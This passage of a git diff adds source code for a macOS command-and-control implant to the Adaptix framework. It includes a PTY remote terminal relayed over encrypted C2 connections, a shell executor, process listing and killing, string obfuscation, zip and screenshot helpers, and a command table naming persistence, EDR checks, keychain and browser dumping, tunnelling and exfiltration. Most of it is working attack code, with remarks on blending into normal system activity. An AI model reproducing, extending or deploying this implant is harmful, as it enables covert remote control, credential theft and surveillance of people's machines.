+ ssize_t n = R_read(pty_fd, buf, TUNNEL_BUF_SIZE);
+ if (n <= 0) break;
+
+ aes128_ctr_process(&enc_ctx, buf, enc_buf, (size_t)n);
+
+ size_t written = 0;
+ while (written < (size_t)n) {
+ ssize_t wr = R_write(srv_fd, enc_buf + written, (size_t)n - written);
+ if (wr <= 0) goto term_cleanup;
+ written += (size_t)wr;
+ }
+ }
+ }
+
+term_cleanup:
+ ax_free(buf, TUNNEL_BUF_SIZE);
+ ax_free(enc_buf, TUNNEL_BUF_SIZE);
+ ax_memset(&dec_ctx, 0, sizeof(dec_ctx));
+ ax_memset(&enc_ctx, 0, sizeof(enc_ctx));
+
+ // Kill shell process
+ if (term->child_pid > 0) {
+ R_kill(term->child_pid, 9); // SIGKILL
+ R_waitpid(term->child_pid, (void*)0, 0);
+ }
+
+ if (term->pty_master >= 0) R_close(term->pty_master);
+ conn_close(&term->srv_conn);
+
+ R_pthread_mutex_lock(&ctx->terminals_mutex);
+ term->active = 0;
+ R_pthread_mutex_unlock(&ctx->terminals_mutex);
+
+ ax_free(targs, sizeof(terminal_args_t));
+ return (void*)0;
+}
+
+int task_terminal_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ // Parse ParamsTerminalStart{TermId, Program, Width, Height}
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; }
+
+ int term_id = -1;
+ char program[256] = {0};
+ int width = 80, height = 24;
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char* k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) break;
+ if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) {
+ uint64_t v;
+ if (mp_read_uint(&r, &v) == 0) term_id = (int)v;
+ else {
+ int64_t sv;
+ if (mp_read_int(&r, &sv) == 0) term_id = (int)sv;
+ }
+ } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) {
+ const char* v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; }
+ } else if (kl == 5 && ax_memcmp(k, "width", 5) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); width = (int)v;
+ } else if (kl == 6 && ax_memcmp(k, "height", 6) == 0) {
+ uint64_t v; mp_read_uint(&r, &v); height = (int)v;
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (term_id < 0 || program[0] == '\0') {
+ write_error(w, "missing terminal params");
+ return 0;
+ }
+
+ job_context_t* ctx = &g_job_ctx;
+
+ // Allocate terminal slot
+ R_pthread_mutex_lock(&ctx->terminals_mutex);
+ int idx = -1;
+ for (int i = 0; i < MAX_TERMINALS; i++) {
+ if (!ctx->terminals[i].active) {
+ idx = i;
+ ax_memset(&ctx->terminals[i], 0, sizeof(terminal_entry_t));
+ ctx->terminals[i].srv_conn.fd = -1;
+ ctx->terminals[i].pty_master = -1;
+ ctx->terminals[i].child_pid = -1;
+ ctx->terminals[i].term_id = term_id;
+ ctx->terminals[i].active = 1;
+ break;
+ }
+ }
+ R_pthread_mutex_unlock(&ctx->terminals_mutex);
+
+ if (idx < 0) { write_error(w, "max terminals reached"); return 0; }
+
+ // Prepare thread args
+ terminal_args_t* ta = (terminal_args_t*)ax_malloc(sizeof(terminal_args_t));
+ ta->terminal_idx = idx;
+ ta->term_id = term_id;
+ ax_strncpy(ta->program, program, sizeof(ta->program) - 1);
+ ta->width = width;
+ ta->height = height;
+
+ R_pthread_create(&ctx->terminals[idx].thread, (void*)0, terminal_thread, ta);
+ R_pthread_detach(ctx->terminals[idx].thread);
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "terminal starting");
+ return 0;
+}
+
+// Parse TermId from terminal stop params
+static int parse_term_id(const uint8_t* data, uint32_t data_len) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) return -1;
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char* k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) return -1;
+ if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) {
+ uint64_t v;
+ if (mp_read_uint(&r, &v) == 0) return (int)v;
+ int64_t sv;
+ if (mp_read_int(&r, &sv) == 0) return (int)sv;
+ return -1;
+ }
+ mp_skip(&r);
+ }
+ return -1;
+}
+
+int task_terminal_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ int tid = parse_term_id(data, data_len);
+ if (tid < 0) { write_error(w, "missing term_id"); return 0; }
+
+ int idx = terminals_find(&g_job_ctx, tid);
+ if (idx < 0) { write_error(w, "terminal not found"); return 0; }
+
+ g_job_ctx.terminals[idx].canceled = 1;
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "terminal stopped");
+ return 0;
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.h
new file mode 100644
index 000000000..3a67bb9f3
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.h
@@ -0,0 +1,19 @@
+#ifndef TASKS_NET_H
+#define TASKS_NET_H
+
+#include "msgpack.h"
+#include
+
+/// Network command handlers — tunnel and terminal
+/// These launch background threads with separate C2 connections
+/// and bidirectional AES-CTR encrypted relays
+
+int task_tunnel_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_tunnel_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_tunnel_pause(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_tunnel_resume(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+
+int task_terminal_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_terminal_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+
+#endif // TASKS_NET_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.c
new file mode 100644
index 000000000..2610f4b48
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.c
@@ -0,0 +1,286 @@
+#include "tasks_proc.h"
+#include "crt.h"
+#include "dyld_resolve.h"
+#include "strings_obf.h"
+
+#include
+#include
+#include
+#include
+#include
+
+#ifdef DEBUG_TRACE
+#include "syscalls_arm64.h"
+static void _dbg(const char* msg) {
+ size_t len = 0;
+ const char* p = msg;
+ while (*p++) len++;
+ sys_write(2, msg, len);
+ sys_write(2, "\n", 1);
+}
+#else
+#define _dbg(msg) ((void)0)
+#endif
+
+static void write_error(mp_writer_t* w, const char* msg) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", msg);
+}
+
+int task_ps(mp_writer_t* w) {
+ // Get process list via sysctl(KERN_PROC_ALL)
+ int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 };
+ size_t size = 0;
+
+ if (R_sysctl(mib, 4, NULL, &size, NULL, 0) != 0) {
+ write_error(w, "sysctl size failed");
+ return 0;
+ }
+
+ uint8_t* buf = (uint8_t*)ax_malloc(size);
+ if (R_sysctl(mib, 4, buf, &size, NULL, 0) != 0) {
+ ax_free(buf, size);
+ write_error(w, "sysctl data failed");
+ return 0;
+ }
+
+ uint32_t nprocs = (uint32_t)(size / sizeof(struct kinfo_proc));
+ struct kinfo_proc* procs = (struct kinfo_proc*)buf;
+
+ // Build process list
+ mp_writer_t proc_writer;
+ mp_writer_init(&proc_writer, 4096);
+ mp_write_array(&proc_writer, nprocs);
+
+ for (uint32_t i = 0; i < nprocs; i++) {
+ struct kinfo_proc* p = &procs[i];
+
+ // Get username from UID
+ struct passwd* pw = (struct passwd*)R_getpwuid(p->kp_eproc.e_ucred.cr_uid);
+ const char* user = pw ? pw->pw_name : "";
+
+ // TTY name
+ char tty[32] = "";
+ if (p->kp_eproc.e_tdev != 0 && p->kp_eproc.e_tdev != (dev_t)-1) {
+ // Simplified — just show device number
+ ax_strcpy(tty, "?");
+ }
+
+ // PsInfo map (declaration order from Go struct)
+ mp_write_map(&proc_writer, 5);
+ mp_write_kv_int(&proc_writer, "pid", p->kp_proc.p_pid);
+ mp_write_kv_int(&proc_writer, "ppid", p->kp_eproc.e_ppid);
+ mp_write_kv_str(&proc_writer, "tty", tty);
+ mp_write_kv_str(&proc_writer, "context", user);
+ mp_write_kv_str(&proc_writer, "process", p->kp_proc.p_comm);
+ }
+
+ ax_free(buf, size);
+
+ // Response: AnsPs {result, status, processes}
+ mp_write_map(w, 3);
+ mp_write_kv_bool(w, "result", 1);
+ mp_write_kv_str(w, "status", "");
+ mp_write_kv_bin(w, "processes", proc_writer.buf.data, (uint32_t)proc_writer.buf.len);
+
+ mp_writer_free(&proc_writer);
+ return 0;
+}
+
+int task_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ // Parse ParamsKill {pid: int}
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ int target_pid = 0;
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char* key; uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) break;
+ if (klen == 3 && ax_memcmp(key, "pid", 3) == 0) {
+ int64_t v;
+ if (mp_read_int(&r, &v) == 0) target_pid = (int)v;
+ else { uint64_t u; mp_read_uint(&r, &u); target_pid = (int)u; }
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (target_pid <= 0) {
+ write_error(w, "invalid pid");
+ return 0;
+ }
+
+ if (R_kill(target_pid, SIGKILL) != 0) {
+ write_error(w, "kill failed");
+ return 0;
+ }
+
+ mp_write_nil(w);
+ return 0;
+}
+
+int task_shell(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ // Parse ParamsShell {program: string, args: []string}
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ DEOBF(default_shell, OBF_ZSH);
+ char program[4096];
+ ax_strcpy(program, default_shell);
+ ZERO_STR(default_shell, OBF_ZSH);
+ char** args = NULL;
+ uint32_t arg_count = 0;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char* key; uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) break;
+
+ if (klen == 7 && ax_memcmp(key, "program", 7) == 0) {
+ const char* val; uint32_t vlen;
+ if (mp_read_str(&r, &val, &vlen) == 0) {
+ if (vlen >= sizeof(program)) vlen = sizeof(program) - 1;
+ ax_memcpy(program, val, vlen);
+ program[vlen] = '\0';
+ }
+ } else if (klen == 4 && ax_memcmp(key, "args", 4) == 0) {
+ uint32_t arr_count;
+ if (mp_read_array(&r, &arr_count) == 0) {
+ arg_count = arr_count;
+ args = (char**)ax_malloc(arr_count * sizeof(char*));
+ for (uint32_t j = 0; j < arr_count; j++) {
+ const char* val; uint32_t vlen;
+ if (mp_read_str(&r, &val, &vlen) == 0) {
+ args[j] = (char*)ax_malloc(vlen + 1);
+ ax_memcpy(args[j], val, vlen);
+ args[j][vlen] = '\0';
+ } else {
+ args[j] = (char*)ax_malloc(1);
+ args[j][0] = '\0';
+ }
+ }
+ }
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+#ifdef DEBUG_TRACE
+ {
+ _dbg("[SHELL] parsed params:");
+ _dbg(program);
+ char abuf[64];
+ int ai = 0;
+ const char* ap = "[SHELL] arg_count=";
+ while (*ap) abuf[ai++] = *ap++;
+ uint32_t av = arg_count;
+ char nb[12]; int ni = 0;
+ do { nb[ni++] = '0' + (av % 10); av /= 10; } while (av > 0);
+ while (ni > 0) abuf[ai++] = nb[--ni];
+ abuf[ai] = '\0';
+ _dbg(abuf);
+ for (uint32_t j = 0; j < arg_count && j < 4; j++) {
+ _dbg(args[j]);
+ }
+ }
+#endif
+
+ // Create pipes for stdout+stderr
+ int pipefd[2];
+ if (R_pipe(pipefd) != 0) {
+ write_error(w, "pipe failed");
+ goto cleanup;
+ }
+
+ pid_t pid = R_fork();
+ if (pid < 0) {
+ R_close(pipefd[0]);
+ R_close(pipefd[1]);
+ write_error(w, "fork failed");
+ goto cleanup;
+ }
+
+ if (pid == 0) {
+ // Child
+ R_close(pipefd[0]);
+ R_dup2(pipefd[1], STDOUT_FILENO);
+ R_dup2(pipefd[1], STDERR_FILENO);
+ R_close(pipefd[1]);
+
+ // Build argv: [program, args..., NULL]
+ char** argv = (char**)ax_malloc((arg_count + 2) * sizeof(char*));
+ argv[0] = program;
+ for (uint32_t j = 0; j < arg_count; j++) argv[j + 1] = args[j];
+ argv[arg_count + 1] = NULL;
+
+ // Use execve with environ from _NSGetEnviron (execvp may fail with -nostdlib)
+ extern char*** _NSGetEnviron(void);
+ char** environ = *_NSGetEnviron();
+ R_execve(program, argv, environ);
+ R_exit(127);
+ }
+
+ // Parent
+ R_close(pipefd[1]);
+
+ // Read output
+ buffer_t output;
+ buf_init(&output, 4096);
+ char read_buf[4096];
+ ssize_t n;
+ while ((n = R_read(pipefd[0], read_buf, sizeof(read_buf))) > 0) {
+ buf_append(&output, (uint8_t*)read_buf, (size_t)n);
+ }
+ R_close(pipefd[0]);
+
+ int status;
+ R_waitpid(pid, &status, 0);
+
+#ifdef DEBUG_TRACE
+ {
+ char obuf[80];
+ int oi = 0;
+ const char* op = "[SHELL] output_len=";
+ while (*op) obuf[oi++] = *op++;
+ size_t ov = output.len;
+ char nb[16]; int ni = 0;
+ do { nb[ni++] = '0' + (ov % 10); ov /= 10; } while (ov > 0);
+ while (ni > 0) obuf[oi++] = nb[--ni];
+ const char* sp = " status=";
+ while (*sp) obuf[oi++] = *sp++;
+ int sv = WEXITSTATUS(status);
+ ni = 0;
+ do { nb[ni++] = '0' + (sv % 10); sv /= 10; } while (sv > 0);
+ while (ni > 0) obuf[oi++] = nb[--ni];
+ obuf[oi] = '\0';
+ _dbg(obuf);
+ }
+#endif
+
+ // Response: AnsShell {output}
+ // Null-terminate for safety
+ char nul = '\0';
+ buf_append(&output, (uint8_t*)&nul, 1);
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "output", (const char*)output.data);
+ buf_free(&output);
+
+cleanup:
+ if (args) {
+ for (uint32_t j = 0; j < arg_count; j++) {
+ if (args[j]) ax_free(args[j], ax_strlen(args[j]) + 1);
+ }
+ ax_free(args, arg_count * sizeof(char*));
+ }
+ return 0;
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.h
new file mode 100644
index 000000000..f9ae28309
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.h
@@ -0,0 +1,11 @@
+#ifndef TASKS_PROC_H
+#define TASKS_PROC_H
+
+#include "msgpack.h"
+#include
+
+int task_ps(mp_writer_t* w);
+int task_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_shell(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+
+#endif // TASKS_PROC_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/types.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/types.h
new file mode 100644
index 000000000..b1f275785
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/types.h
@@ -0,0 +1,72 @@
+#ifndef TYPES_H
+#define TYPES_H
+
+#include
+#include
+
+/// Command codes — must match Go pl_utils.go exactly
+#define COMMAND_ERROR 0
+#define COMMAND_PWD 1
+#define COMMAND_CD 2
+#define COMMAND_SHELL 3
+#define COMMAND_EXIT 4
+#define COMMAND_DOWNLOAD 5
+#define COMMAND_UPLOAD 6
+#define COMMAND_CAT 7
+#define COMMAND_CP 8
+#define COMMAND_MV 9
+#define COMMAND_MKDIR 10
+#define COMMAND_RM 11
+#define COMMAND_LS 12
+#define COMMAND_PS 13
+#define COMMAND_KILL 14
+#define COMMAND_ZIP 15
+#define COMMAND_SCREENSHOT 16
+#define COMMAND_RUN 17
+#define COMMAND_JOB_LIST 18
+#define COMMAND_JOB_KILL 19
+
+// macOS-specific (21-30)
+#define COMMAND_CLIPBOARD 21
+#define COMMAND_PERSIST 22
+#define COMMAND_TCC_CHECK 23
+#define COMMAND_DEFAULTS 24
+#define COMMAND_EDR_CHECK 25
+#define COMMAND_KEYCHAIN 26
+#define COMMAND_BROWSER_DUMP 27
+
+#define COMMAND_TUNNEL_START 31
+#define COMMAND_TUNNEL_STOP 32
+#define COMMAND_TUNNEL_PAUSE 33
+#define COMMAND_TUNNEL_RESUME 34
+
+#define COMMAND_TERMINAL_START 35
+#define COMMAND_TERMINAL_STOP 36
+
+/// Pack types
+#define INIT_PACK 1
+#define EXFIL_PACK 2
+#define JOB_PACK 3
+#define JOB_TUNNEL 4
+#define JOB_TERMINAL 5
+
+/// Growable buffer
+typedef struct {
+ uint8_t* data;
+ size_t len;
+ size_t cap;
+} buffer_t;
+
+int buf_init(buffer_t* b, size_t initial_cap);
+int buf_append(buffer_t* b, const void* data, size_t len);
+void buf_free(buffer_t* b);
+void buf_reset(buffer_t* b);
+
+/// Boolean for clarity
+#ifndef bool
+#define bool _Bool
+#define true 1
+#define false 0
+#endif
+
+#endif // TYPES_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent_macos b/AdaptixServer/extenders/macos_agent/src_agent/agent_macos
new file mode 100755
index 000000000..1356ec5f4
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/agent_macos differ
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/files/config.tpl b/AdaptixServer/extenders/macos_agent/src_agent/files/config.tpl
new file mode 100644
index 000000000..222cb6137
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/files/config.tpl
@@ -0,0 +1,72 @@
+/// Auto-generated config — per-payload unique profile data
+/// This file is compiled with -x c and injected defines:
+/// -DPROFILE_COUNT=N
+/// -DPROFILE_0="..." -DPROFILE_0_SIZE=N
+/// etc.
+#ifndef CONFIG_H
+#define CONFIG_H
+
+#include
+
+#ifndef PROFILE_COUNT
+#define PROFILE_COUNT 0
+#endif
+
+#if PROFILE_COUNT > 0
+
+// Profile data arrays — injected via -D defines at compile time
+// Each profile is a hex-escaped byte string
+static const uint8_t profile_0[] = { PROFILE_0 };
+static const uint32_t profile_0_size = sizeof(profile_0);
+
+#if PROFILE_COUNT > 1
+static const uint8_t profile_1[] = { PROFILE_1 };
+static const uint32_t profile_1_size = sizeof(profile_1);
+#endif
+
+#if PROFILE_COUNT > 2
+static const uint8_t profile_2[] = { PROFILE_2 };
+static const uint32_t profile_2_size = sizeof(profile_2);
+#endif
+
+#if PROFILE_COUNT > 3
+static const uint8_t profile_3[] = { PROFILE_3 };
+static const uint32_t profile_3_size = sizeof(profile_3);
+#endif
+
+// Arrays for iteration
+static const uint8_t* enc_profiles[] = {
+ profile_0,
+#if PROFILE_COUNT > 1
+ profile_1,
+#endif
+#if PROFILE_COUNT > 2
+ profile_2,
+#endif
+#if PROFILE_COUNT > 3
+ profile_3,
+#endif
+};
+
+static const uint32_t enc_profile_sizes[] = {
+ profile_0_size,
+#if PROFILE_COUNT > 1
+ profile_1_size,
+#endif
+#if PROFILE_COUNT > 2
+ profile_2_size,
+#endif
+#if PROFILE_COUNT > 3
+ profile_3_size,
+#endif
+};
+
+#else
+
+// No profiles — agent exits immediately
+static const uint8_t* enc_profiles[] = { 0 };
+static const uint32_t enc_profile_sizes[] = { 0 };
+
+#endif // PROFILE_COUNT > 0
+
+#endif // CONFIG_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/agent_info.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/agent_info.o
new file mode 100644
index 000000000..e4addacda
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/agent_info.o differ
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/commander.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/commander.o
new file mode 100644
index 000000000..fa83bb52f
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/commander.o differ
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/connector.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/connector.o
new file mode 100644
index 000000000..70b70773e
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/connector.o differ
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/crt.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/crt.o
new file mode 100644
index 000000000..f4c1bd3f7
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/crt.o differ
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/crypt.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/crypt.o
new file mode 100644
index 000000000..a974b8299
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/crypt.o differ
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/dyld_resolve.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/dyld_resolve.o
new file mode 100644
index 000000000..88c42aee1
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/dyld_resolve.o differ
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/jobs.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/jobs.o
new file mode 100644
index 000000000..ebad2b7c3
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/jobs.o differ
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/main.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/main.o
new file mode 100644
index 000000000..015343380
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/main.o differ
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/msgpack.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/msgpack.o
new file mode 100644
index 000000000..040475894
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/msgpack.o differ
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/opsec.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/opsec.o
new file mode 100644
index 000000000..79d1c7b8d
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/opsec.o differ
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_async.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_async.o
new file mode 100644
index 000000000..30188600c
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_async.o differ
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_fs.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_fs.o
new file mode 100644
index 000000000..09efc8c05
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_fs.o differ
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_macos.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_macos.o
new file mode 100644
index 000000000..7270dce53
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_macos.o differ
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_net.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_net.o
new file mode 100644
index 000000000..342d4addb
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_net.o differ
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_proc.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_proc.o
new file mode 100644
index 000000000..670134257
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_proc.o differ
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/Makefile b/AdaptixServer/extenders/macos_agent/src_macos/Makefile
new file mode 100644
index 000000000..ee4e87784
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/Makefile
@@ -0,0 +1,4 @@
+all: agent
+
+agent:
+ @ GOWORK=off CGO_ENABLED=0 GOOS=darwin GOARCH=arm64 go build -modfile=go.mod -trimpath -ldflags="-s -w" -o agent && rm agent
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/config.go b/AdaptixServer/extenders/macos_agent/src_macos/config.go
new file mode 100644
index 000000000..2616577f2
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/config.go
@@ -0,0 +1,5 @@
+package main
+
+var encProfiles = [][]byte{
+ // Profiles are injected at build time by pl_main.go:BuildPayload()
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/functions.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions.go
new file mode 100644
index 000000000..46d894ece
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions.go
@@ -0,0 +1,308 @@
+package functions
+
+import (
+ "archive/zip"
+ "bytes"
+ "encoding/binary"
+ "errors"
+ "fmt"
+ "io"
+ "io/fs"
+ "net"
+ "os"
+ "os/exec"
+ "path/filepath"
+)
+
+/// FS
+
+func CopyFile(src, dst string, info fs.FileInfo) error {
+ source, err := os.Open(src)
+ if err != nil {
+ return err
+ }
+ defer func(source *os.File) {
+ _ = source.Close()
+ }(source)
+
+ dest, err := os.OpenFile(dst, os.O_RDWR|os.O_CREATE|os.O_TRUNC, info.Mode())
+ if err != nil {
+ return err
+ }
+ defer func(dest *os.File) {
+ _ = dest.Close()
+ }(dest)
+
+ _, err = io.Copy(dest, source)
+ return err
+}
+
+func CopyDir(srcDir, dstDir string) error {
+ srcInfo, err := os.Stat(srcDir)
+ if err != nil {
+ return err
+ }
+
+ err = os.MkdirAll(dstDir, srcInfo.Mode())
+ if err != nil {
+ return err
+ }
+
+ entries, err := os.ReadDir(srcDir)
+ if err != nil {
+ return err
+ }
+
+ for _, entry := range entries {
+ srcPath := filepath.Join(srcDir, entry.Name())
+ dstPath := filepath.Join(dstDir, entry.Name())
+
+ info, err := entry.Info()
+ if err != nil {
+ return err
+ }
+
+ if info.IsDir() {
+ err = CopyDir(srcPath, dstPath)
+ if err != nil {
+ return err
+ }
+ } else {
+ err = CopyFile(srcPath, dstPath, info)
+ if err != nil {
+ return err
+ }
+ }
+ }
+ return nil
+}
+
+/// ZIP
+
+func ZipBytes(data []byte, name string) ([]byte, error) {
+ var buf bytes.Buffer
+ zipWriter := zip.NewWriter(&buf)
+
+ writer, err := zipWriter.Create(name)
+ if err != nil {
+ return nil, err
+ }
+
+ _, err = writer.Write(data)
+ if err != nil {
+ return nil, err
+ }
+
+ err = zipWriter.Close()
+ if err != nil {
+ return nil, err
+ }
+
+ return buf.Bytes(), nil
+}
+
+func UnzipBytes(zipData []byte) (map[string][]byte, error) {
+ result := make(map[string][]byte)
+ reader := bytes.NewReader(zipData)
+
+ zipReader, err := zip.NewReader(reader, int64(len(zipData)))
+ if err != nil {
+ return nil, err
+ }
+
+ for _, file := range zipReader.File {
+ rc, err := file.Open()
+ if err != nil {
+ return nil, err
+ }
+
+ var buf bytes.Buffer
+ _, err = io.Copy(&buf, rc)
+ rc.Close()
+ if err != nil {
+ return nil, err
+ }
+
+ result[file.Name] = buf.Bytes()
+ }
+
+ return result, nil
+}
+
+func ZipFile(srcFilePath string) ([]byte, error) {
+ buf := new(bytes.Buffer)
+ zipWriter := zip.NewWriter(buf)
+
+ fileToZip, err := os.Open(srcFilePath)
+ if err != nil {
+ return nil, err
+ }
+ defer fileToZip.Close()
+
+ info, err := fileToZip.Stat()
+ if err != nil {
+ return nil, err
+ }
+
+ header, err := zip.FileInfoHeader(info)
+ if err != nil {
+ return nil, err
+ }
+ header.Name = filepath.Base(srcFilePath)
+ header.Method = zip.Deflate
+
+ writer, err := zipWriter.CreateHeader(header)
+ if err != nil {
+ return nil, err
+ }
+
+ _, err = io.Copy(writer, fileToZip)
+ if err != nil {
+ return nil, err
+ }
+
+ if err := zipWriter.Close(); err != nil {
+ return nil, err
+ }
+
+ return buf.Bytes(), nil
+}
+
+func ZipDirectory(srcDir string) ([]byte, error) {
+ buf := new(bytes.Buffer)
+ zipWriter := zip.NewWriter(buf)
+
+ err := filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
+ if err != nil {
+ return err
+ }
+
+ relPath, err := filepath.Rel(srcDir, path)
+ if err != nil {
+ return err
+ }
+ if info.IsDir() {
+ if relPath == "." {
+ return nil
+ }
+ relPath += "/"
+ _, err = zipWriter.Create(relPath)
+ return err
+ }
+
+ file, err := os.Open(path)
+ if err != nil {
+ return err
+ }
+ defer file.Close()
+
+ header, err := zip.FileInfoHeader(info)
+ if err != nil {
+ return err
+ }
+ header.Name = relPath
+ header.Method = zip.Deflate
+
+ writer, err := zipWriter.CreateHeader(header)
+ if err != nil {
+ return err
+ }
+
+ _, err = io.Copy(writer, file)
+ return err
+ })
+ if err != nil {
+ return nil, err
+ }
+
+ if err := zipWriter.Close(); err != nil {
+ return nil, err
+ }
+
+ return buf.Bytes(), nil
+}
+
+/// SCREENS
+
+// Screenshots captures the screen using macOS native screencapture utility.
+// Works without CGO. screencapture is a signed Apple binary — normal system activity.
+func Screenshots() (map[int][]byte, error) {
+ result := make(map[int][]byte)
+
+ tmpFile, err := os.CreateTemp("", "sc-*.png")
+ if err != nil {
+ return nil, err
+ }
+ tmpPath := tmpFile.Name()
+ tmpFile.Close()
+ defer os.Remove(tmpPath)
+
+ // -x: no sound, -C: no cursor, -t png: PNG format
